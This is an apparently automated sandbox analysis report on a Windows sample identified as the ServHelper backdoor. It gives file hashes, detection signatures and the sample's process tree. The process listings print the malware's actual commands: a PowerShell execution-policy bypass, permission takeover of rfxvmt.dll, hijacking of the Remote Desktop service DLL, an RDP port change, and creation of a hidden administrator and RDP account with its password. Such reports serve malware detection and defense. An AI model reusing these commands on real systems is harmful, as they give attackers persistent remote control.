Overview
overview
10Static
static
3b22a7f7748...18.exe
windows7-x64
10b22a7f7748...18.exe
windows10-2004-x64
10$PLUGINSDI...em.dll
windows7-x64
3$PLUGINSDI...em.dll
windows10-2004-x64
3$PLUGINSDI...sh.dll
windows7-x64
3$PLUGINSDI...sh.dll
windows10-2004-x64
3$PLUGINSDI...ip.dll
windows7-x64
3$PLUGINSDI...ip.dll
windows10-2004-x64
3Analysis
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max time kernel
143s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
16-06-2024 06:37
Static task
static1
Behavioral task
behavioral1
Sample
b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/System.dll
Resource
win7-20240220-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/System.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/blowfish.dll
Resource
win7-20240611-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/blowfish.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/nsUnzip.dll
Resource
win7-20240508-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/nsUnzip.dll
Resource
win10v2004-20240611-en
General
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Target
b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe
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Size
2.8MB
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MD5
b22a7f7748f329f11f883697f71f22df
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SHA1
172f2ec1b31de3237e24eeba79084bcd18b50f22
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SHA256
9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca
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SHA512
98867ae1c352ff8ebd2be803fdccdffe5a55fceb2d701245147bdcc9242837ce6f4ff379a68e44c7b36606245b1c84ad1d550cd2b94e05aeeaac4b29179322fb
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SSDEEP
49152:RYHxMRZpyfuJL7HKgXU+mtElp9F0FKk+M/k3wyBS4/OBYllWZG+/kEgV1:qHxMRZAsL7HKgXE61g+M83n8SlW4+/kb
Malware Config
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exepid Process 1648 icacls.exe 1932 icacls.exe 1752 icacls.exe 812 icacls.exe 1652 takeown.exe 800 icacls.exe 1664 icacls.exe 1940 icacls.exe -
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe -
Deletes itself 1 IoCs
Processes:
powershell.exepid Process 564 powershell.exe -
Loads dropped DLL 8 IoCs
Processes:
b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exepid Process 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 2288 2288 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid Process 1752 icacls.exe 812 icacls.exe 1652 takeown.exe 800 icacls.exe 1664 icacls.exe 1940 icacls.exe 1648 icacls.exe 1932 icacls.exe -
Processes:
resource yara_rule behavioral1/files/0x0005000000004ed6-68.dat upx behavioral1/files/0x000300000000f6e4-69.dat upx -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 8 IoCs
Processes:
powershell.exedescription ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 2944 timeout.exe -
Modifies registry key 1 TTPs 1 IoCs
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepid Process 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
Processes:
pid Process 468 2288 2288 2288 -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeicacls.exedescription pid Process Token: SeDebugPrivilege 564 powershell.exe Token: SeRestorePrivilege 1664 icacls.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
b22a7f7748f329f11f883697f71f22df_JaffaCakes118.execmd.exepowershell.exenet.execmd.execmd.exenet.exedescription pid Process procid_target PID 3008 wrote to memory of 2668 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 28 PID 3008 wrote to memory of 2668 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 28 PID 3008 wrote to memory of 2668 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 28 PID 3008 wrote to memory of 2668 3008 b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe 28 PID 2668 wrote to memory of 2944 2668 cmd.exe 30 PID 2668 wrote to memory of 2944 2668 cmd.exe 30 PID 2668 wrote to memory of 2944 2668 cmd.exe 30 PID 2668 wrote to memory of 564 2668 cmd.exe 33 PID 2668 wrote to memory of 564 2668 cmd.exe 33 PID 2668 wrote to memory of 564 2668 cmd.exe 33 PID 564 wrote to memory of 1652 564 powershell.exe 35 PID 564 wrote to memory of 1652 564 powershell.exe 35 PID 564 wrote to memory of 1652 564 powershell.exe 35 PID 564 wrote to memory of 800 564 powershell.exe 36 PID 564 wrote to memory of 800 564 powershell.exe 36 PID 564 wrote to memory of 800 564 powershell.exe 36 PID 564 wrote to memory of 1664 564 powershell.exe 37 PID 564 wrote to memory of 1664 564 powershell.exe 37 PID 564 wrote to memory of 1664 564 powershell.exe 37 PID 564 wrote to memory of 1940 564 powershell.exe 38 PID 564 wrote to memory of 1940 564 powershell.exe 38 PID 564 wrote to memory of 1940 564 powershell.exe 38 PID 564 wrote to memory of 1648 564 powershell.exe 39 PID 564 wrote to memory of 1648 564 powershell.exe 39 PID 564 wrote to memory of 1648 564 powershell.exe 39 PID 564 wrote to memory of 1932 564 powershell.exe 40 PID 564 wrote to memory of 1932 564 powershell.exe 40 PID 564 wrote to memory of 1932 564 powershell.exe 40 PID 564 wrote to memory of 1752 564 powershell.exe 41 PID 564 wrote to memory of 1752 564 powershell.exe 41 PID 564 wrote to memory of 1752 564 powershell.exe 41 PID 564 wrote to memory of 812 564 powershell.exe 42 PID 564 wrote to memory of 812 564 powershell.exe 42 PID 564 wrote to memory of 812 564 powershell.exe 42 PID 564 wrote to memory of 2244 564 powershell.exe 43 PID 564 wrote to memory of 2244 564 powershell.exe 43 PID 564 wrote to memory of 2244 564 powershell.exe 43 PID 564 wrote to memory of 2256 564 powershell.exe 44 PID 564 wrote to memory of 2256 564 powershell.exe 44 PID 564 wrote to memory of 2256 564 powershell.exe 44 PID 564 wrote to memory of 1568 564 powershell.exe 45 PID 564 wrote to memory of 1568 564 powershell.exe 45 PID 564 wrote to memory of 1568 564 powershell.exe 45 PID 564 wrote to memory of 1504 564 powershell.exe 46 PID 564 wrote to memory of 1504 564 powershell.exe 46 PID 564 wrote to memory of 1504 564 powershell.exe 46 PID 1504 wrote to memory of 1380 1504 net.exe 47 PID 1504 wrote to memory of 1380 1504 net.exe 47 PID 1504 wrote to memory of 1380 1504 net.exe 47 PID 564 wrote to memory of 2864 564 powershell.exe 48 PID 564 wrote to memory of 2864 564 powershell.exe 48 PID 564 wrote to memory of 2864 564 powershell.exe 48 PID 2864 wrote to memory of 2856 2864 cmd.exe 49 PID 2864 wrote to memory of 2856 2864 cmd.exe 49 PID 2864 wrote to memory of 2856 2864 cmd.exe 49 PID 2856 wrote to memory of 840 2856 cmd.exe 50 PID 2856 wrote to memory of 840 2856 cmd.exe 50 PID 2856 wrote to memory of 840 2856 cmd.exe 50 PID 840 wrote to memory of 2128 840 net.exe 51 PID 840 wrote to memory of 2128 840 net.exe 51 PID 840 wrote to memory of 2128 840 net.exe 51 PID 564 wrote to memory of 1980 564 powershell.exe 52 PID 564 wrote to memory of 1980 564 powershell.exe 52 PID 564 wrote to memory of 1980 564 powershell.exe 52
Processes
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C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps12⤵
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\timeout.exetimeout -t 153⤵
- Delays execution with timeout.exe
PID:2944
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps13⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564 -
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1652
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:800
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1664
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1940
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1648
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1932
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1752
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:812
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f4⤵PID:2244
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f4⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:2256
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f4⤵PID:1568
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add5⤵PID:1380
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\system32\cmd.execmd /c net start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\system32\net.exenet start rdpdr6⤵
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr7⤵PID:2128
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService4⤵PID:1980
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C:\Windows\system32\cmd.execmd /c net start TermService5⤵PID:1416
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C:\Windows\system32\net.exenet start TermService6⤵PID:2120
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService7⤵PID:2324
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f4⤵PID:1984
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f4⤵PID:2004
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵PID:2356
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C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵PID:2376
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:1252
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Wy0kK2Zy /add1⤵PID:1972
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C:\Windows\system32\net.exenet.exe user wgautilacc Wy0kK2Zy /add2⤵PID:2168
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Wy0kK2Zy /add3⤵PID:1100
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:1516
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:1696
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1172
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD1⤵PID:308
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD2⤵PID:1140
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD3⤵PID:2860
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:1148
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:612
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:1204
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Wy0kK2Zy1⤵PID:1828
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C:\Windows\system32\net.exenet.exe user wgautilacc Wy0kK2Zy2⤵PID:1400
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Wy0kK2Zy3⤵PID:2468
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD5c0fae5b04f67d12ca621200aac5378dc
SHA1c82c80ff2a2abb57e9a23ac5a100d82c1d551238
SHA256de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0
SHA51227e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8
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Filesize
3.0MB
MD5b3740c199fd47f917a62e0c426c46934
SHA1e0d844544c0ca5d83a1c3e32da581e2b7ebb3906
SHA256b739faf7a9dfc7fe969a4927190f14d176c7e387e280fc970f4414fdf1062134
SHA512d2f22de404fdfa46affc4bfff83ae5b41733a99e2b5b06722705677ca5d2031ba2f85d86803564e842e161f4e924e1fd245c37f0998b1572c4c772ecd08f4dc5
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Filesize
84B
MD5e7b46f7dce67f5296ef852ab60c4917d
SHA19316e80ad51f832e9c3fe5d92113746410cdd2df
SHA256d08848d4598be3de7271ed1efecc9eeb97cee86e3a74584567cddefb4dfeaba7
SHA5120de68099b3f1fb30427a54b44680e288355d5db10a71f4cd6473749d3dccbaf72eac9849e5aaed7fa3c765a332690c7450ec3f56f4bd46b06c8ec571bec96400
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Filesize
40KB
MD5dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
11KB
MD5fbe295e5a1acfbd0a6271898f885fe6a
SHA1d6d205922e61635472efb13c2bb92c9ac6cb96da
SHA256a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1
SHA5122cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06
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Filesize
22KB
MD55afd4a9b7e69e7c6e312b2ce4040394a
SHA1fbd07adb3f02f866dc3a327a86b0f319d4a94502
SHA256053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae
SHA512f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511
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Filesize
146KB
MD577a26c23948070dc012bba65e7f390aa
SHA17e112775770f9b3b24e2a238b5f7c66f8802e5d8
SHA2564e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43
SHA5122e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065
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Filesize
55KB
MD5e816ab93cf35418b3c7ee71296081396
SHA18dffeaa3a807215f1f0fc4d4754c1dccf93244c6
SHA256b7c930b6b289f3f2809fcfdeb270786d6c5c58d062f51fa43eaae33800261260
SHA512790fa3c5f355e5faf44e94a23fd7e3176260502ceef6a4273578125fa3d52187349e5a982377c04291a15779ef905878d34f61d3e5ee5d3928872608817df524
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Filesize
944KB
MD53346c7680c1a724104576721f058f8d6
SHA1823926453ff44ddd192b2711ade78f2bfc7ebac0
SHA256a4975203b5fc3a45b75f25bb2b81cac416fd9792dafb5dee9a304e7fea52a5d2
SHA51223d1d3dfb80d09946bf28a29cc8dbb9236b5c7e92c1cadddfd6e8ba8a8030a63a2e81d64e16b00775b1174207c699e297242ff09cc59a93e594fce408d2ca85e